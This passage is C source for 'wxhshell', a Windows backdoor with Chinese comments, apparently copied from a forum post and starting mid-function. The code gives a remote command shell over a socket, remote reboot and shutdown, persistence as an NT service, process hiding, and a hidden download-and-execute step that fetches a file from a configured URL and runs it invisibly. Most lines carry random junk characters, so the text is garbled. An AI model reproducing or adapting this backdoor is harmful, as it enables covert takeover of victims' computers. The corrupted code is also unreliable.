    break; 2"*7H S  
  } z=J%-Hq>  
  // 安装 eLXG _Qb"  
  case 'i': { [4KW64%l  
    if(Install()) rnz9TmN:*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8.3888  
    else ua# sW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -]\cUQ0  
    break; ^tc2?T  
    } TO7%TW{L  
  // 卸载 JY8wo5H  
  case 'r': { !r]elX  
    if(Uninstall()) !VUxy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :oh(M|;/2  
    else :SjTkfU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bU9B2'%E  
    break; u;rK.3o  
    } RLBjl%Q>  
  // 显示 wxhshell 所在路径 E~Eh'>Y(B  
  case 'p': { 28J ; 9  
    char svExeFile[MAX_PATH]; O) NEt  
    strcpy(svExeFile,"\n\r"); H7bdL 8/  
      strcat(svExeFile,ExeFile); H. UwM  
        send(wsh,svExeFile,strlen(svExeFile),0); g"gh2#!D  
    break; \,| Xz|?C  
    } Q|/uL`_ni  
  // 重启 @|kBc.(]  
  case 'b': { eV$pza  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1~/?W^ir  
    if(Boot(REBOOT)) ENW>bS8 e`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sp8Xka~5*#  
    else { p"" #Gbwj  
    closesocket(wsh); c#X9d8>  
    ExitThread(0); CMn&1  
    } h&d%#6mB  
    break; GjlA\R^e  
    } Ba==Ri8$  
  // 关机 aN9#ATE  
  case 'd': { A;VjMfoB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3";Rw9  
    if(Boot(SHUTDOWN)) )QS4Z{)U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *c'nPa$+|S  
    else { wT/TQEgz  
    closesocket(wsh); ^~~&[wY  
    ExitThread(0); CMI'y(GN  
    } *((wp4b  
    break; vowU+Y  
    } |Y#KMi ~  
  // 获取shell '6U~|d  
  case 's': { g}HB|$P7  
    CmdShell(wsh); LDDeZY"xd  
    closesocket(wsh); u%n6!Zx  
    ExitThread(0); BZAeg">3  
    break; Fl{:aq"3  
  } gD&/ k  
  // 退出 Cw`8[)=}o  
  case 'x': { +oKp>-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `CCuwe<v  
    CloseIt(wsh); ];BGJ5^j  
    break; ;M,u,KH)/  
    } |GPR3%9  
  // 离开 J[E_n;d1  
  case 'q': { =@%;6`AVcp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cI}qMc  
    closesocket(wsh); jIY    
    WSACleanup(); BQYj"Wi  
    exit(1); v @zpF)|  
    break; CNwYQe-i  
        } ]L0GIVIE  
  } Jh1Q)05  
  } ?v-Y1j  
hjCFN1 #Sa  
  // 提示信息 _isqk~ ul  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X r7pFw  
} 8`bQ,E+2  
  } \QF\Bh  
 LW?Zd=  
  return; T3po.Km\{  
} DG_tmDT4  
ENu`@S='I3  
// shell模块句柄 w k1O*_76  
int CmdShell(SOCKET sock) ]RYk Y7>`  
{ cSdkhRAn  
STARTUPINFO si; dc#Db~v}k  
ZeroMemory(&si,sizeof(si)); emZ^d/A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v IBVp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1d4 9z9F  
PROCESS_INFORMATION ProcessInfo; !]bXHT&!R  
char cmdline[]="cmd"; f.f5f%lO~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EJqzh i5  
  return 0; f"XFf@!  
} ]W,K}~!   
F 8*e  
// 自身启动模式 XD\RD  
int StartFromService(void) i!zh9,i>M  
{ iG<rB-"  
typedef struct 6;/>asf  
{ RusC5\BUX  
  DWORD ExitStatus; }gw `,i  
  DWORD PebBaseAddress; 8+^?<FKa  
  DWORD AffinityMask; M1._{Jw5  
  DWORD BasePriority; ^{<x*/nK  
  ULONG UniqueProcessId; W#cr9"'Ta  
  ULONG InheritedFromUniqueProcessId; /EY ^ui  
}   PROCESS_BASIC_INFORMATION; zG z^T  
z1\G,mJK  
PROCNTQSIP NtQueryInformationProcess; u7|{~D&f  
i4T U}.h8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XQEGMaZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4}{S8fGk%  
bH7[6#y$  
  HANDLE             hProcess; } g  WSV  
  PROCESS_BASIC_INFORMATION pbi; f_1#>]  
!Ju?REH   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5,:tjn  
  if(NULL == hInst ) return 0; eqbxf#H!  
9GnNL I{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xG<H${ k;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NLDmZra  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pL$UI3VCP  
&]~z-0`$!  
  if (!NtQueryInformationProcess) return 0; )Q 8T`Tly  
sr\lz}JW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @aR!  -}  
  if(!hProcess) return 0; Xu#\CYk  
k4_Fn61J/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TX{DZ#  
L K9vvQz  
  CloseHandle(hProcess); owe362q  
g# ZR, q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s-r$%9o5  
if(hProcess==NULL) return 0; 5EIhCbA  
6w K=  
HMODULE hMod; <\x/Y$jm0n  
char procName[255]; /vPh_1  
unsigned long cbNeeded; F#_7mC   
 TyMR m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q`09   
!@-j!Ub  
  CloseHandle(hProcess); ,_`\c7@  
N s9cx  
if(strstr(procName,"services")) return 1; // 以服务启动 zQ xZR}'  
} oJ+2OepN  
  return 0; // 注册表启动 IoNZ'g?d  
} MxxYMR  
, j ,[4^  
// 主模块 \Ja%u"D A  
int StartWxhshell(LPSTR lpCmdLine) Ig1cf9 :  
{ ) 0$7{3  
  SOCKET wsl; ,*0>CBJvv  
BOOL val=TRUE; j._9;HifZ  
  int port=0; O7j$bxk/^  
  struct sockaddr_in door; O:q}<ljp  
sCaw"{5qc  
  if(wscfg.ws_autoins) Install(); .CI]8O"3y  
G5zZf ~r  
port=atoi(lpCmdLine); z>k6T4(  
!'ajpK  
if(port<=0) port=wscfg.ws_port; 2Iz@lrO6  
E?z 3&C  
  WSADATA data; ]*}*zXN/E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /'E+(Y&:J  
VYf$0oo\4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *%ZfE,bu8<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PK3)M'[  
  door.sin_family = AF_INET; fJOU1%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )rhKWg  
  door.sin_port = htons(port); H` Q_gy5Z(  
]*juF[r(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /.05rTpp  
closesocket(wsl); }<FBcc(n  
return 1; wias ]u|  
} Sijwh1j*V  
@)VJ,Ql$Y  
  if(listen(wsl,2) == INVALID_SOCKET) { -sO EL{  
closesocket(wsl); / c/!13|  
return 1; `Lm ArW:  
} 8<)[+ @$0  
  Wxhshell(wsl); - K}@Gp  
  WSACleanup(); 6$SsdT|8B  
VbBZ\`b  
return 0; ~ ;)@a  
 +aP %H  
} ,n &|+&  
I$qL=  
// 以NT服务方式启动 {+ [rJ_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _}jj>+zA`  
{ /J{P8=x}_:  
DWORD   status = 0; ~DqNA%Mb  
  DWORD   specificError = 0xfffffff; , X$S4>  
6gakopZO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R(pvUm& L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +t.T+` EG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0%F C;v0  
  serviceStatus.dwWin32ExitCode     = 0; 8Mws?]\/q  
  serviceStatus.dwServiceSpecificExitCode = 0; U@f3V8CPy  
  serviceStatus.dwCheckPoint       = 0; J>hl&J  
  serviceStatus.dwWaitHint       = 0; =*Wl;PI'  
nkN]z ^j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 22tY%Y9  
  if (hServiceStatusHandle==0) return; *XtZ;os]  
Dvd.Q/f  
status = GetLastError(); 2U~oWg2P  
  if (status!=NO_ERROR) T a/G  
{ .vpQ3m>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >Cd%tIie*  
    serviceStatus.dwCheckPoint       = 0; gvA&F |4  
    serviceStatus.dwWaitHint       = 0; 1+#Vj#  
    serviceStatus.dwWin32ExitCode     = status; lzS"NHs<g(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6mRvuJ%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1grrb&K  
    return; f_raICO{R  
  } y"@~5e477$  
;=h^"et  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & NOKrN~HX  
  serviceStatus.dwCheckPoint       = 0; kP8Ypw&  
  serviceStatus.dwWaitHint       = 0; <PV @JJ"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C8&)-v|  
} qY14LdC}~  
Fzu"&&>0$  
// 处理NT服务事件,比如:启动、停止 m"U\;Mw?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uY "88|  
{ T w"^I*B  
switch(fdwControl) {Qw,L;R  
{ NRoi` IIj  
case SERVICE_CONTROL_STOP: $)7-wCl</  
  serviceStatus.dwWin32ExitCode = 0; EO'3;mo,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ZfvFs  
  serviceStatus.dwCheckPoint   = 0; lfj>]om$  
  serviceStatus.dwWaitHint     = 0; Z71"d"  
  { 5[/ *UtB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,HMB`vF  
  } [%QJ6  
  return; 2^ UFP+Yw  
case SERVICE_CONTROL_PAUSE: 2^qY, dL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _|6{(  
  break; Z#4? /'  
case SERVICE_CONTROL_CONTINUE: )C|>M'g@v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &NGlkn  
  break; 7J>n;8{%?  
case SERVICE_CONTROL_INTERROGATE: =euoSH D}  
  break; 9.%{M#j  
}; '>`bp25>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $,h*xb.  
} ]Ff&zBJ  
.}CP Z3y  
// 标准应用程序主函数 xQJdt $]U@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1Z`<HW"  
{ Y%wF;I1x  
a_x|PbD  
// 获取操作系统版本 tb@/E  
OsIsNt=GetOsVer(); 9*,5R,#  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  "&C'K  
%W`pTvF  
  // 从命令行安装 6Ajiz_~U  
  if(strpbrk(lpCmdLine,"iI")) Install(); `^w5/v#  
bLNQ%=FjO  
  // 下载执行文件 ]qv/+~Qs>  
if(wscfg.ws_downexe) { TH6g:YP`7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uMqo)J@s  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1~5={eI  
} '-ACNgNn  
KWN&nP +  
if(!OsIsNt) { teM&[U  
// 如果时win9x,隐藏进程并且设置为注册表启动 C(?lp  
HideProc(); !_V*VD  
StartWxhshell(lpCmdLine); 4Q3Q.(  
} Re.fS6y$>  
else 6=  9  
  if(StartFromService()) M)3h 4yQ  
  // 以服务方式启动 T]E$H, p  
  StartServiceCtrlDispatcher(DispatchTable); pGsVO5M?  
else >#>YoA@S  
  // 普通方式启动 ]CHMkuP[k  
  StartWxhshell(lpCmdLine); ?f&*mp  
%oN^1a'&)  
return 0; B`KpaE]  
}
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只看该作者 1 发表于: 2006-10-10
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